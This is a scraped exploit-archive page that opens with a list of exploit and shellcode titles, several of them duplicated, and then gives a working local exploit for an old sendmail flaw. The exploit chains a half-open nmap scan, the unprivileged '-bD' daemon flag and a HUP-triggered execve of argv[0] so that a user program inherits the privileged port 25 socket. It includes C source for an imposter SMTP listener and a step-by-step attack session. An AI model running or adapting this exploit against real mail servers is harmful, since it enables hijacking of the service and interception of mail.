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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
67 lines
No EOL
3.1 KiB
C
67 lines
No EOL
3.1 KiB
C
// source: https://www.securityfocus.com/bid/774/info
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Through exploiting a combination of seemingly low-risk vulnerabilities in sendmail, it is possible for a malicious local user to have an arbitrary program inherit (or "hijack") the file descriptor for the socket listening on (priviliged) port 25.
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The problem begins with the way sendmail handles the failure of an accept() call. The accept() call is made when a tcp syn packet is recieved by a listening tcp socket. When the three-way handshake does not complete (as is the consequence of a half-open tcp "stealth scan"), accept() fails and sendmail closes all listening sockets and sleeps for 5 seconds.
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The second problem is that a user can start the sendmail daemon if a more obscure argument is passed (-bD). The -bD flag tells sendmail to run as a daemon, but in foreground. User priviliges are not checked against for this option, allowing any user to start sendmail.
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The third problem is how sendmail reacts to a HUP signal. When a HUP is recieved, sendmail calls execve(argv[0],..) to restart itself. The problem here is obvious, since argv[0] can be changed to anything. The bigger problem here though, is that the fourth file descriptor is not closed before this is done (which happens to be the one for the listening tcp socket), thus any argv[0] which is executed via the execve() call will inherit the descriptor.
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The steps required to exploit this are as follows:
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- From another machine, use nmap to do a "half open scan" on port 25 of the target host.
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(this will make sendmail go to sleep for five seconds, unattached to port 25)
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- In the 5 seconds that sendmail spends sleeping, call sendmail -bD as a user locally on the target box with noexec and set argv[0] to the program of your choice.
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(noexec is a program which allows you to set argv[0] to whatever you'd like).
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- Send the process a HUP, which is ok since you own the process.
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(The program you specified in the noexec command which is to be argv[0] now has the file descriptor for the socket listening on port 25).
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The consequences of this are full compromise of the mail server. An attacker could write a trojan "mail server" that would respond on port 25 to legitimate smtp connections.
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#include <netinet/in.h>
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#include <fcntl.h>
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#define SERV_FD 4
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main() {
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struct sockaddr_in saddr;
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int csock,i=sizeof(saddr);
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while (1) {
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while ((csock=accept(SERV_FD,&saddr,&i))<0);
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if (!fork()) {
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dup2(csock,0);
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dup2(csock,1);
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dup2(csock,2);
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printf("220 Takeover ESMTP mail service - road closed.\n");
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fflush(0);
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sleep(1);
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shutdown(csock,2);
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close(csock);
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exit(0);
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}
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}
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}
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EOF
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victim$ gcc test.c -o test
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(compile simple harmless sendmail-imposter)
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attacker# nmap -p 25 -sS -P0 -n victim
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(half open tcp connection is made, original smtpd goes to sleep for 5 seconds)
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victim$ doexec /usr/sbin/sendmail /tmp/test -bD
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(user starts sendmail, arvg[0] replaced with '/tmp/test')
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victim$ killall -HUP sendmail
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(user sends HUP to sendmail, /tmp/test is executed)
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victim$telnet localhost 25
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220 Takeover ESMTP mail service - road closed.
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victim$ |